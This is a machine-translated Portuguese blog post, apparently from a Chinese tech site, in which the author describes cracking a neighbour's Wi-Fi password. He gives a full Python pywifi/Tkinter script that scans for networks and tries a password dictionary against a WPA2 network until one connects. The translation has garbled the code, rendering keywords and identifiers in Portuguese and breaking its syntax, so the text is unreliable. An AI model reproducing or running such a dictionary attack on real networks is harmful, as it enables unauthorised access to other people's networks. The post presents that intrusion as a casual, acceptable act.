Ontem à noite depois de parar net, eu escrevi um pedaço de código para quebrar uma senha wi-fi ao lado irmãzinha

desenvolvedores Android agora criaram um Amigos do círculo de água, o círculo vai de vez em quando para atualizar alguns dados avançados Android de classe, são bem-vindos para discutir com problemas técnicos, o desenvolvimento comum e de progresso! (UI inclui engenheiros seniores, inferior Android do engenheiro de desenvolvimento, arquiteto Android, otimização de desempenho otimização nativa e híbrido, especialização vibração); pesos pesados ​​de tecnologia quer se juntar, maior será a mais o círculo direito de resolver o problema da água disponível!

Ontem à noite, sua rede de casa, o código para fins, net stop agricultura, que pode ser capaz de? rede de reparação chamada, disse muito tarde, para o dia seguinte para vir ...

sinal wifi repente encontrou ao lado do papel da irmã da grade completa wow, que me faz mover mal, ver, não há maneira de esfregar a rede, em primeiro lugar, usando uma chave mestra, sem sucesso ~~~

v2-d493b465346a3492d0e883eb779f224b_720w.jpeg

Só posso usar o dicionário senha para executar, oh, este pequeno recurso, certifique-se de python só pode ser feito, e procurar, encontrei pywifi este componente apenas para atender a demanda.

Vamos olhar o processo de gravação que a minha operação.

v2-fa6558d8284c62d6eb3889d05aee1284_720w.jpeg

pensamento

Wifi nome dado, podemos reciclar uma senha para levá-los a tentar fazer, se não conseguir desconexão até que a conexão é bem sucedida.

Que a importação das bibliotecas de terceiros necessários (faça o download e instalar o seu próprio bem), chamar a interface de rede por pywifi, a fim de fazer o teste, laço lê a senha tentar se conectar. Aqui só você precisa mudar o nome do caminho senha e arquivo para wifi.

Preparando o Ambiente

  • python2.7

  • módulo pywifi

  • dicionário

módulo de importação

de pywifi import *

Dicionário pronto

Aleatório fora do wi-fi fraco TOP10 senhas. Linha contém apenas uma senha definida, rode o script lê cada linha de código até que a senha correta é encontrada.

v2-ffa19701e960485f06339bc310b71dd3_720w.png

O código completo

Codificação # :. UTF-8 

de Tkinter * Importação 
de TTK Tkinter Import   
Import pywifi 
de pywifi const Import 
Import Tempo 
Import tkinter.filedialog 
Import tkinter.messagebox 

MY_GUI classe (): 
  DEF do __init __ (self, init_window_name): 
    self.init_window_name = init_window_name 
    
    # senha caminho do arquivo 
    self.get_value StringVar = () 
    
    # get rachadura conta wi-fi 
    self.get_wifi_value StringVar = () 
    
    # obter wifi senha 
    self.get_wifimm_value = StringVar () 
    
    self.wifi = pywifi.PyWiFi () # rastejando interface de rede 
    self.iface = self.wifi.interfaces () [0] # buscar a primeira LAN sem fios 
    self.iface.disconnect () ligação # teste de desconectar todos os links 
    time.sleep (1) # 1 segundo de sono
    # Verificar se o cartão de fora do estado
    Assert self.iface.status () em \ 
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 
  
  def __str __ (auto): 
    retorno '(Wi-Fi:% s% s)' % (self.wifi, self.iface.name () ) 
    
  #设置窗口
  def set_init_window (self): 
    self.init_window_name.title ( "WIFI破解工具") 
    self.init_window_name.geometry ( '+ 500 + 200') 
    
    labelframe = LabelFrame (width = 400, height = 200, text ="配置") 
    labelframe.grid (coluna = 0, linha = 0, padx = 10, pady = 10) 
    
    self.search = Button (labelframe, text ="搜索附近WiFi", command = self.scans_wifi_list) .grid (coluna = 0, linha = 0) 
    
    self.pojie = Button (labelframe, text = "开始破解", command = self.readPassWord) .grid (coluna = 1, linha = 0) 
    
    self.label = Rótulo (labelframe, text ="caminho de directório :. ") da grade (coluna = 0, linha = 1)
     
    self.path = Entrada (labelframe, largura = 12, textVariable = self.get_value) .grid (coluna = 1, linha = 1) 
    
    self.file = botão (labelframe, texto = "添加密码文件目录", comando = self.add_mm_file) .grid (coluna = 2, linha = 1) 
    
    self.wifi_text = etiqueta (labelframe, texto = "Wi-Fi账号:".) grelha (coluna = 0, linha = 2) 
    
    self.wifi_input = Entrada (labelframe, largura = 12, textVariable = self.get_wifi_value) .grid (coluna = 1, linha = 2) 
    
    self.wifi_mm_text = etiqueta (labelframe, texto = "Wi-Fi密码:"). grade (coluna = 2, linha = 2) 
    
    self.wifi_mm_input = Entrada (labelframe, largura = 10, textVariable = self.get_wifimm_value) .grid (coluna = 3, linha = 2, pegajoso = W) 
    
    self.wifi_labelframe = LabelFrame (texto = "wi-fi列表") 
    self.wifi_labelframe. grade (coluna = 0, linha = 3, ColumnSpan = 4, pegajoso = NSEW) 
    
    
    #定义树形结构与滚动条
    self.wifi_tree = ttk.Treeview (self.wifi_labelframe, mostra = "posições", colunas = ( "um" , "b", "c", "d"))    
    self.vbar = ttk.Scrollbar (self.wifi_labelframe, orient = VERTICAL, command = self.wifi_tree.yview)        
    self.wifi_tree.configure (yscrollcommand = self.vbar.set) 
    
    #表格的标题
    self.wifi_tree.column ( "a "largura = 50, = âncora "centro") 
    self.wifi_tree.column ( "b", largura = 100, âncora = "centro") 
    self.wifi_tree.column ( "C", largura = 100, âncora =" centro ") 
    self.wifi_tree.column (" d", largura = 100, âncora = "centro") 
         
    self.wifi_tree.heading ( "um", texto = "WiFiID")  
    self.wifi_tree.heading ( "b", text = "SSID")
    self.wifi_tree.heading ( "C", texto = "BSSID") 
    self.wifi_tree.heading ( "d", texto = "sinal") 
        
    self.wifi_tree.grid (linha = 4, coluna = 0,pegajosa = NSEW) 
    self.wifi_tree.bind ( "<Double-1>", self.onDBClick) 
    self.vbar.grid (Row = 4, = coluna 1, o NS = pegajoso..) 
    
  # Pesquisa WiFi 
  #cmd / K C: \ python27 \ python.exe " $ (FULL_CURRENT_PATH) "e Pausa & SAIR 
  scans_wifi_list DEF (Self) de acesso à internet a digitalização de uma lista de cerca de # 
    # iniciar a digitalização 
    de impressão (" ^ _ ^ ... perto do início do wi-fi varredura ") 
    self.iface.scan () 
    o time.sleep (15 ) 
    # obter os resultados da verificação em poucos segundos 
    scanres self.iface.scan_results = () 
    estatísticas # são encontrados perto do número de hotspots 
    os nums = lEN (scanres) 
    impressão ( "número:% s" % (a nums)) 
    #print ( "| S% |% S | S% |% s "% (" WIFIID "" SSID "" BSSID "" Signal ")) 
    # real de dados 
    self.show_scans_wifi_list (scanres) 
    scanres retorno 
  
  # para exibir uma lista de wi-fi
  def show_scans_wifi_list (self, scans_res): 
    self.get_wifi_value.set (self.wifi_tree.item (self.sels, "valores") [1])
    para o índice, wifi_info em Enumerar (scans_res):
            # Impressão ( "% - * s |% s |% * s |% * s \ n" % (20, índice, wifi_info.ssid, wifi_info.bssid ,, wifi_info.signal)) 
      self.wifi_tree.insert ( "" , 'fim', valores = (índice de + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) 
      #print ( "|% s | s% |% s |% s \ n" % (índice, wifi_info. SSID, wifi_info.bssid, wifi_info.signal)) 
  
  #添加密码文件目录
  def add_mm_file (self): 
    self.filename = tkinter.filedialog.askopenfilename () 
    self.get_value.set (self.filename) 
  
  #Treeview绑定事件
  def onDBClick (self, evento): 
    self.sels = event.widget.selection () 
    #print ( "você clicou", self.wifi_tree.item (self.sels, "valores") [1]) 
  
  #读取密码字典,进行匹配
  def readpassword (auto):
    self.getFilePath = self.get_value.get () 
    #print ( "文件路径:% s \ n" % (self.getFilePath)) 
    self.get_wifissid = self.get_wifi_value.get () 
    #print ( "SSID:% s \ n "% (self.get_wifissid)) 
    self.pwdfilehander = open (self.getFilePath, "r", errors = "ignorar") 
    while True: 
        try: 
          self.pwdStr = self.pwdfilehander.readline () 
          #print ("密码:% s "% (self.pwdStr)) 
          se não self.pwdStr: 
            quebra 
          self.bool1 = self.connect (self.pwdStr, self.get_wifissid) get_wifissid) 
          #print ( "Valor de retorno:% s \ n" % ( self.bool1))
          se self.bool1: 
            # print ("密码正确: "+ pwdStr 
            # res = "密码:% s正确\ n" % self.pwdStr;
            self.res = "=== === wi-fi nome correto:% s jogo password:% s" % (self.get_wifissid, self.pwdStr) 
            self.get_wifimm_value.set (self.pwdStr) 
            tkinter.messagebox.showinfo ( ' Dica '' break sucesso !!! ') 
            Imprimir (self.res) 
            qUEBRAR 
          a mais: 
            # impressão ( "password:" + self.pwdStr + "erro") 
            self.res = "erro --- --- nome wi-fi: password jogo% s:% s "% (self.get_wifissid, self.pwdStr) 
            impressão (self.res) 
          SLEEP (3) 
        a exceção: 
          o Continue 
  
  # de wifi e combinar senha 
  DEF Connect (Auto, pwd_Str, wifi_ssid): 
    # cria WiFi File ligação 
    self.profile = pywifi.Profile ()
    self.profile.ssid = wifi_ssid # WiFi nome 
    self.iface.disconnect () # OFF 
    tempo de latência (. 1) 
    # verificação off estado
    self.profile.auth = const.AUTH_ALG_OPEN # aberta NIC 
    self.profile.akm.append (const.AKM_TYPE_WPA2PSK) # WiFi criptografia algoritmo 
    self.profile.cipher = const.CIPHER_TYPE_CCMP # unidade de encriptação 
    self.profile.key = pwd_Str # senha 
    self.iface.remove_all_network_profiles () # excluir todos os arquivos wi-fi 
    self.tmp_profile = self.iface.add_network_profile (self.profile) # set novo arquivo de ligação 
    self.iface.connect (self.tmp_profile) # ligação 
    time.sleep ( . 5) 
    iF self.iface.status () == const.IFACE_CONNECTED: # determina se ou não a conexão 
      Isok = True    
    a mais: 
      Isok Falso =
    assert self.iface.status () em \ 
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 
    voltar Isok 
    
def gui_start ():
  init_window = Tk () 
  ui = MY_GUI (init_window) 
  print (ui) 
  ui.set_init_window () 
  # ui.scans_wifi_list () 
  
  init_window.mainloop () 
  
gui_start ()

resultado

resultados da execução são mostrados na figura, você Gui acordo com a operação, podemos começar a correr para cima.

v2-13940d8689d626dd12024ee9045beb41_720w.png

Existem outras opiniões receber comentários. questões para debate, por favor deixe uma mensagem, o caminho para o ringue: + polegares atenção, carta de resposta pessoal para mim 'informação' lata para o ringue.


Acho que você gosta

Origin blog.51cto.com/14557669/2483926
Recomendado
Clasificación